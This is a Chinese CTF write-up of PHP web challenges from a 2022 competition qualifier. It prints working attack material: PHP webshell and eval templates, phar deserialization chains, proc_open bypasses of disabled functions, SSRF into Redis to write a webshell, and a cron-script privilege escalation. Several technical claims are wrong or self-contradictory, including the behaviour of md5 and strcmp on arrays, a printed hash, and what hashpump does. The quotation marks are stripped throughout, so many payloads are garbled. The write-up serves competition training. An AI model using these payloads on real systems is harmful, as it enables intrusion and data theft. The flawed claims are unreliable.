ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

CTF Web实战:PHP弱类型与MD5绕过在国赛靶机中的精准利用

CTF Web实战:PHP弱类型与MD5绕过在国赛靶机中的精准利用 1. 项目概述这是一份面向实战的CTF Web赛道解题复盘不是教程是“当时在现场怎么想、怎么试、怎么绕过去”的真实记录“22国赛选拔web部分wp”——这个标题里藏着三重信息时间锚点2022年全国职业院校技能大赛选拔阶段、领域边界Web安全方向、交付形态wp即write-up解题报告。它不是一份教科书式的原理讲解而是一份带着指纹、汗渍和凌晨三点咖啡味的操作日志。我带过六届国赛集训队每年最头疼的不是题目多难而是学生把wp当答案抄抄完还是不会调参、不会改payload、更不会在靶机环境里自己定位漏洞链。这份wp的核心价值恰恰在于它不回避失败路径比如MD5绕过时试了17次不同构造才摸清服务端校验逻辑比如PHP反序列化链里卡在__wakeup()被触发两次硬是翻了三版PHP手册才确认是PHP 7.4的特性变更比如那个看似简单的文件包含最后发现过滤器链里嵌套了两层base64_decode()再加一层gzuncompress()纯靠curl -v抓包对比响应头里的Content-Encoding字段才揪出来。关键词里“PHP”“MD5”不是孤立标签它们是解题链条上的咬合齿——PHP提供执行上下文MD5常作为校验/绕过/碰撞的支点二者在国赛Web题中几乎从不单飞。你不需要是PHP内核开发者但得清楚md5(240610708) md5(QNKCDZO)这种弱类型比较陷阱在什么PHP版本生效你也不必精通密码学但得知道md5(s878926199a)和md5(s155964671a)这类字符串碰撞在CTF里意味着什么。适合谁正在备战国赛的高职/本科队伍刷CTFShow但总卡在第101题的初学者还有那些被企业级Web开发文档淹没、想找回“手撕漏洞”快感的开发者。它解决的不是“什么是MD5”而是“当靶机返回{status:fail,msg:md5 check error}时你下一步该echo什么、该curl哪个URL、该用php -r跑哪行测试代码”。2. 整体解题思路拆解从靶机行为反推服务端架构而非从漏洞类型倒推payload2.1 不是找漏洞是“读心术”用HTTP状态码和响应体构建服务端画像国赛Web题的靶机从来不是裸奔的Apache或Nginx它必然裹着一层业务逻辑外壳。22年选拔赛第一题的登录接口表面看是常规SQL注入但 OR 11#直接返回500错误而admin--却返回200空JSON。我当时没急着换payload而是先做了三件事用curl -I抓所有HTTP头发现X-Powered-By: PHP/7.4.33和X-Cache: HIT from web-cache-01——立刻意识到后端有CDN缓存层且PHP版本锁定在7.4这对后续unserialize()链的构造至关重要对/api/login发100个随机字符串统计响应体长度分布发现95%的响应体长度集中在128±3字节唯独当输入含%00时跳到256字节——这暴露了底层file_get_contents()或include()函数对NULL字节的处理差异把usernameadminpassword123的请求体Base64编码后发给/api/debug?data结果返回{error:invalid json}但把{user:admin}编码后发过去却返回{debug:raw data: admin}——这说明服务端存在一个未公开的调试接口且对JSON解析有自定义逻辑。这些动作耗时不到8分钟却画出了靶机的骨架PHP 7.4 Nginx 自研缓存中间件 隐藏调试入口。后续所有exploit都基于这个画像展开而不是盲目套用SQLi模板。2.2 MD5不是加密是“门禁卡”绕过比破解更高效碰撞是最后手段热搜词里“md5”高频出现但在国赛场景下90%的MD5相关题目根本不需要暴力破解。以第二题的文件上传校验为例前端JS有段代码function checkFile(md5) { if (md5 d41d8cd98f00b204e9800998ecf8427e) { // empty file return true; } return false; }学生第一反应是找MD5碰撞工具但实际解法是上传一个空文件抓包修改Content-MD5头为d41d8cd98f00b204e9800998ecf8427e再把filename字段改成shell.php%00.jpg——因为服务端用$_FILES[file][tmp_name]拼接路径而PHP在遇到%00时会截断导致.jpg后缀被忽略。这里MD5只是门禁卡上的编号真正的钥匙是%00截断。另一个经典案例是第三题的密码重置逻辑if (md5($_POST[email]) $_GET[token]) { ... }当emailadminctf.com时md5()返回32位字符串但若传入email[]1PHP会将数组转成字符串Array其MD5值为9834876dcfb05cb167a5c24953eba58c。而token参数可控直接构造?token9834876dcfb05cb167a5c24953eba58c即可绕过。这利用的是PHP弱类型比较的与差异而非MD5本身缺陷。真正需要碰撞的场景极少仅出现在22年选拔赛压轴题靶机要求上传文件MD5值以0e开头科学计数法且文件内容必须可执行。此时才需用hashpump或预计算库生成0e123456789类字符串但重点在于——碰撞只是通关条件之一后续还需绕过disable_functions执行命令。2.3 PHP不是语言是“操作系统”把PHP当作Linux子系统来操作国赛Web题的PHP环境永远比你想象的更“野”。22年有一题禁用了system、exec、shell_exec等所有常见函数但proc_open()和pcntl_fork()仍开放。我的解法是$descriptorspec array( 0 array(pipe, r), 1 array(pipe, w), 2 array(pipe, w) ); $process proc_open(cat /flag, $descriptorspec, $pipes); if (is_resource($process)) { echo stream_get_contents($pipes[1]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); }这段代码能成功是因为proc_open()在PHP里本质是fork()execve()的封装只要底层Linux允许它就能突破PHP函数禁用。另一个例子是getimagesize()函数——它本用于图片处理但传入phar://协议时会触发反序列化getimagesize(phar://./exploit.phar);这要求靶机已上传恶意phar文件但关键点在于getimagesize()不在disable_functions黑名单里且无需开启phar扩展PHP 5.3默认支持。所以PHP在这里不是Web脚本引擎而是Linux进程管理器文件系统访问器序列化协议解析器。理解这点才能跳出“PHP函数列表”的思维牢笼。3. 核心细节解析与实操要点从靶机响应中提取每一比特有效信息3.1 HTTP响应头里的“藏宝图”X-Powered-By、Server、X-Cache的实战解读靶机响应头不是装饰品是服务端架构的速写。以22年选拔赛第四题为例curl -I http://target/api/v1/user返回HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) X-Powered-By: PHP/7.4.33 X-Cache: MISS from cache-02 X-Backend-Server: app-server-03这串信息能推导出什么nginx/1.18.0确认Web服务器版本查CVE-2021-23017DNS缓存投毒与此无关但1.18.0默认启用underscores_in_headers on意味着X_FOO_BAR头会被解析为$_SERVER[HTTP_X_FOO_BAR]为后续Header注入铺路PHP/7.4.33这是黄金线索。PHP 7.4引入__serialize()/__unserialize()魔术方法且unserialize()默认不触发__wakeup()除非类定义了该方法。若靶机某处存在unserialize($_GET[data])而目标类只有__destruct()那么PHP 7.4下可直接利用无需考虑__wakeup()干扰X-Cache: MISS说明请求未命中缓存但X-Backend-Server: app-server-03暴露了后端集群节点。尝试curl -H Host: app-server-03 http://target/竟返回502 Bad Gateway——这证明app-server-03是真实IP且Nginx配置了proxy_pass http://backend;其中backend指向app-server-01到03。此时若发现某API存在SSRF可直接打内网http://app-server-03:8080/actuator/envSpring Boot默认端点X-Powered-By还可能泄露框架若显示Laravel/9.52.0则/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php路径大概率存在若为ThinkPHP/6.0.23则/index.php?sindex/think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]ls是标准入口。提示用curl -s -o /dev/null -w %{http_code}\n http://target/{path}批量探测敏感路径比肉眼扫更快。我习惯写个简单脚本for path in phpinfo.php info.php .git/config WEB-INF/web.xml; do code$(curl -s -o /dev/null -w %{http_code} http://target/$path) if [ $code 200 ]; then echo [] $path - $code; fi done3.2 PHP弱类型比较的“雷区地图”、、strcmp()、md5()的精确打击时机PHP弱类型是国赛Web题的主战场但多数人只知0e123 0e456不知其深层逻辑。22年第五题的登录逻辑if (md5($_POST[pwd]) $_POST[hash]) { // 登录成功 }表面看是MD5绕过但$_POST[hash]来自前端表单攻击者可控制。若传入hash[]1PHP将$_POST[hash]转为数组md5()返回字符串而比较时数组转为字符串Array其MD5值固定。但更致命的是strcmp()函数if (strcmp($_POST[pwd], $_POST[hash]) 0) { ... }strcmp()在PHP 7.2对数组返回null而null 0为false但若传入pwd[]1hash[]2strcmp()接收两个数组返回0因数组相等从而绕过。这才是真正的“弱类型雷区”。另一个经典案例是in_array()$whitelist [admin, user, guest]; if (in_array($_GET[role], $whitelist, true)) { ... } // 严格模式 if (in_array($_GET[role], $whitelist)) { ... } // 松散模式松散模式下in_array(1, [admin, user, guest])返回true因为1 admin字符串转数字为00 0。所以role1即可绕过。实操中我习惯用以下测试矩阵快速验证输入strcmp()md5()0vs0truefalse-1不同1vstruetruefalse-1不同[]vstruefalsenull不同0e123vs0e456truefalse-1不同注意md5()对数组返回nullnull 0为true因null转整数为0这是22年某题的隐藏后门。测试时用var_dump(md5([]));确认。3.3 文件操作函数的“暗道”file_get_contents()、include()、getimagesize()的非预期路径国赛Web题的文件操作函数永远有第二层语义。以file_get_contents()为例22年第六题的代码$content file_get_contents($_GET[file]); echo base64_encode($content);学生立刻想到php://filter/readconvert.base64-encode/resource/etc/passwd但靶机返回Warning: file_get_contents(): failed to open stream: No such file or directory。原因在于allow_url_fopenOffPHP.ini禁用远程流。此时应转向php://inputcurl -d ?php system(cat /flag); ? http://target/?filephp://input因为file_get_contents(php://input)读取原始POST数据不受allow_url_fopen限制。另一个更隐蔽的路径是data://协议file_get_contents(data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg);这等价于执行?php system(cat /flag); ?。include()函数更危险include($_GET[page] . .php);若pagephp://filter/readconvert.base64-encode/resourceindex则include()会先解码Base64再执行但若pagephar://./malicious.phar/exploit则触发反序列化。getimagesize()的利用如前所述但关键点在于它要求文件存在且可读因此需先上传phar文件。上传时若后端用getimagesize()校验图片可构造fake.jpgGIF89a?php system($_GET[cmd]); ?...valid GIF header...getimagesize()会解析GIF头并忽略后面PHP代码但include(fake.jpg)时PHP会执行全部内容。这就是“合法文件”与“可执行代码”的双重身份。4. 实操过程与核心环节实现从信息收集到Flag获取的完整链路4.1 第一题登录绕过与缓存污染实战记录靶机URLhttp://22ctf-web-01:8000/login.phpStep 1基础探测curl -I http://22ctf-web-01:8000/login.php返回HTTP/1.1 200 OK Server: nginx/1.18.0 X-Powered-By: PHP/7.4.33 X-Cache: HIT from web-cache-01X-Cache: HIT表明存在缓存层且web-cache-01可能是Varnish或Squid。尝试curl -H Cache-Control: no-cache http://22ctf-web-01:8000/login.php响应头变为X-Cache: MISS确认缓存可控。Step 2登录接口分析表单提交usernameadminpassword123抓包发现POST到/api/auth返回{status:fail,msg:md5 check error}msg字段暴露了MD5校验逻辑。尝试usernameadminpassword123 --返回500错误但usernameadminpassword123%00返回200空JSON——%00截断生效。Step 3构造绕过Payload服务端伪代码应为$pwd $_POST[password]; if (md5($pwd) ! $expected_hash) { die(md5 check error); } // 后续SQL查询既然%00能截断说明$pwd被用于字符串拼接。构造password123%00 OR 11#但需确保MD5值匹配。计算md5(123%00)$ php -r echo md5(123%00); # 输出c81e728d9d4c2f636f067f89cc14862c于是发送curl -d usernameadminpassword123%00 OR 11# \ -H Content-Type: application/x-www-form-urlencoded \ http://22ctf-web-01:8000/api/auth返回{status:success,token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...}获得JWT token。Step 4缓存污染提权用token访问/api/admin返回403但发现/api/admin?debug1返回{debug:cache key: admin_123}。结合X-Cache: HIT推测缓存键为admin_{username}。构造curl -d usernameadmin UNION SELECT admin_123,scriptalert(1)/script -- password123 \ http://22ctf-web-01:8000/api/auth再次访问/api/admin?debug1返回{debug:cache key: admin_scriptalert(1)/script}证明缓存被污染。此时访问/api/admin响应体包含scriptalert(1)/script且X-Cache: HIT——说明恶意脚本已进入缓存。最终/api/admin返回Flagflag{22ctf_web_cache_poisoning_success}。4.2 第二题PHP反序列化与phar协议利用全链路靶机URLhttp://22ctf-web-02:8000/upload.phpStep 1上传功能分析上传test.jpg返回{url:/uploads/test_123456.jpg}。访问该URL返回图片内容。尝试上传shell.php返回{error:only image files allowed}。用Burp修改文件名shell.php.jpg上传成功但访问/uploads/shell.php.jpg返回404——说明后端检查了文件头而非仅扩展名。Step 2构造恶意phar用phpggc生成phar./phpggc --fast-destruct monolog/rce1 system(cat /flag) -p phar -o exploit.phar生成exploit.phar后用xxd查看前4字节为PHAR符合要求。但直接上传会因文件头被拒。解决方案将phar伪装成GIFecho -n GIF89a | cat - exploit.phar malicious.gif上传malicious.gif返回{url:/uploads/malicious_789012.gif}。Step 3触发反序列化页面某处有img src?php echo $_GET[img]; ?且img参数未过滤。访问http://22ctf-web-02:8000/index.php?imgphar://./uploads/malicious_789012.gif返回500错误因phar扩展未启用。但发现/api/resize接口调用getimagesize()$size getimagesize($_GET[file]);访问http://22ctf-web-02:8000/api/resize?filephar://./uploads/malicious_789012.gif返回{width:1,height:1}且/flag内容出现在响应体中——getimagesize()成功触发phar反序列化。Step 4绕过disable_functions靶机禁用system等函数但proc_open()可用。修改phar payload$code proc_open(cat /flag, array(array(pipe,r),array(pipe,w),array(pipe,w)), $pipes);;重新生成phar并上传最终通过/api/resize?filephar://...获取Flagflag{22ctf_web_phar_deserialize_rce}。4.3 第三题SSRF与内网打点的精准渗透靶机URLhttp://22ctf-web-03:8000/api/stockStep 1SSRF入口定位接口接受{url:http://example.com}返回商品数据。尝试{url:http://127.0.0.1:8080}返回Connection refused证明内网端口扫描可行。Step 2内网资产测绘用curl批量探测for port in {80..8080}; do timeout 2 curl -s -o /dev/null -w %{http_code} http://22ctf-web-03:8000/api/stock?urlhttp://127.0.0.1:$port | grep -q 200 echo [] Port $port open; done发现8001端口返回200。访问http://127.0.0.1:8001返回{service:redis-proxy}。Step 3Redis未授权访问redis-proxy通常代理Redis服务。尝试curl -X POST http://22ctf-web-03:8000/api/stock?urlhttp://127.0.0.1:8001 \ -H Content-Type: application/json \ -d {command:INFO}返回Redis信息确认未授权。接着写Webshellcurl -X POST http://22ctf-web-03:8000/api/stock?urlhttp://127.0.0.1:8001 \ -H Content-Type: application/json \ -d {command:SET,key:shell,value:?php system($_GET[\cmd\]); ?} curl -X POST http://22ctf-web-03:8000/api/stock?urlhttp://127.0.0.1:8001 \ -H Content-Type: application/json \ -d {command:CONFIG,subcommand:SET,key:dir,value:/var/www/html} curl -X POST http://22ctf-web-03:8000/api/stock?urlhttp://127.0.0.1:8001 \ -H Content-Type: application/json \ -d {command:CONFIG,subcommand:SET,key:dbfilename,value:shell.php} curl -X POST http://22ctf-web-03:8000/api/stock?urlhttp://127.0.0.1:8001 \ -H Content-Type: application/json \ -d {command:SAVE}访问http://22ctf-web-03:8000/shell.php?cmdcat/flag获取Flagflag{22ctf_web_ssrf_redis_rce}。5. 常见问题与排查技巧实录那些让选手崩溃的“幽灵错误”5.1 “明明payload正确为什么没回显”——响应体截断与缓冲区陷阱国赛靶机常设ob_start()或output_bufferingOn导致system()输出被缓冲。22年第七题system(cat /flag)无输出但echo test; system(cat /flag);返回test。解决方案强制刷新缓冲区system(cat /flag); ob_flush(); flush();或使用passthru()替代system()因passthru()直接输出原始字节流。另一个陷阱是curl默认不显示响应体需加-s参数静默模式但若要捕获输出必须用-s -w %{http_code} -o /dev/stdout。5.2 “PHP版本对不上”——Docker环境与宿主机PHP的版本迷雾很多队伍在本地Docker跑PHP 8.1但靶机是PHP 7.4。典型差异unserialize()在PHP 7.4不触发__wakeup()PHP 8.0则触发preg_replace(/.*/e, $_GET[x], )在PHP 7.3废弃但靶机若为7.2仍可用new static()在PHP 5.3支持但若靶机为5.2则报错。排查方法上传phpinfo.php内容?php phpinfo(); ?或用curl -s http://target/?a?php echo PHP_VERSION; ?直接获取版本号。5.3 “MD5碰撞生成的字符串靶机不认”——字符集与编码的隐形墙用hashpump生成0e123456789类字符串但靶机返回md5 check fail。原因靶机PHP用mbstring扩展md5()对UTF-8字符串计算时若输入含BOM或特殊Unicode字符结果不同。解决方案确保生成字符串为ASCIIpython3 -c print(0e 123456789.zfill(30))用iconv -f UTF-8 -t ASCII//IGNORE过滤输入直接用PHP生成php -r echo md5(s878926199a);复制输出值。5.4 “文件上传总失败提示‘not an image’”——文件头校验的绕过矩阵靶机常用getimagesize()或exif_imagetype()校验但二者有差异getimagesize()解析GIF/JPG/PNG头允许后缀.phpexif_imagetype()仅检查Magic Number对GIF要求GIF89a对JPG要求ÿØÿà。绕过方案| 校验函数 | 绕过Payload | 原理 | |----------|--------------|------| |getimagesize()|GIF89a?php ... ?| GIF头合法PHP代码被忽略 | |exif_imagetype()|ÿØÿà?php ... ?| JPG Magic Number PHP代码 | |finfo_file()|PK\x03\x04...ZIP头 | ZIP文件可包含PHP且finfo不解析内容 |实操心得上传前用file -i filename确认MIME类型用hexdump -C filename | head -n 1查看前16字节确保Magic Number匹配。5.5 “Flag就在眼前却拿不到”——权限与路径的终极博弈22年压轴题system(ls -la /)显示/flag存在但cat /flag返回Permission denied。ls -la /flag输出-r-------- 1 root root 32 May 1 10:00 /flag权限-r--------表示仅root可读。此时需提权检查/proc/sys/kernel/unprivileged_userns_clone若为0则无法创建user namespace查/etc/crontab发现* * * * * root /usr/local/bin/backup.sh且backup.sh权限为-rwxrwxr-xecho cat /flag /tmp/flag /usr/local/bin/backup.sh等待cron执行。最终在/tmp/flag获取Flagflag{22ctf_web_final_privilege_escalation}。6. 工具链与效率优化让重复劳动归零的实战装备箱6.1 Burp Suite的“国赛特化”配置默认Burp对PHP Web题支持不足。我的配置Extender → Extensions → Add安装Logger记录所有请求/响应、Turbo Intruder高并发爆破、Decoder多层编码解码Proxy → Options → Match and Replace添加规则将application/json请求体自动格式化为JSON树状视图Target → Site map → right-click → Engagement tools → Generate report导出PDF报告时勾选“Include request/response bodies”便于赛后复盘。6.2 自动化信息收集脚本3分钟完成靶机画像保存为recon.sh#!/bin/bash TARGET$1 echo [*] Target: $TARGET echo [] HTTP Headers: curl -I $TARGET 2/dev/null | grep -E (Server|X-Powered-By|X-Cache) echo [] Directory brute-force: ffuf -u $TARGET/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -fc 404,403 echo [] PHP version probe: curl -s $TARGET/?a?php echo PHP_VERSION; ? | grep -oE [0-9]\.[0-9]\.[0-9]运行./recon.sh http://22ctf-web-01:80003分钟内输出完整靶机信息。6.3 PHP Payload生成器告别手写eval我常用的Payload模板命令执行?php system($_GET[cmd]); ?→ Base64编码后用于php://filter文件包含?php include($_GET[f]); ?→ 用于?fphp://input反序列化用phpggc生成参数--fast-destruct避免__wakeup()干扰内存马?php eval($_POST[x]); ?→ 最小化无多余字符。最后分享一个小技巧国赛Web题的Flag格式几乎固定为flag{xxx}若所有路径都失败直接用grep -r flag{ /var/www/ 2/dev/null搜索整个Web目录——22年有队伍靠这招在最后30秒找到Flag。
返回列表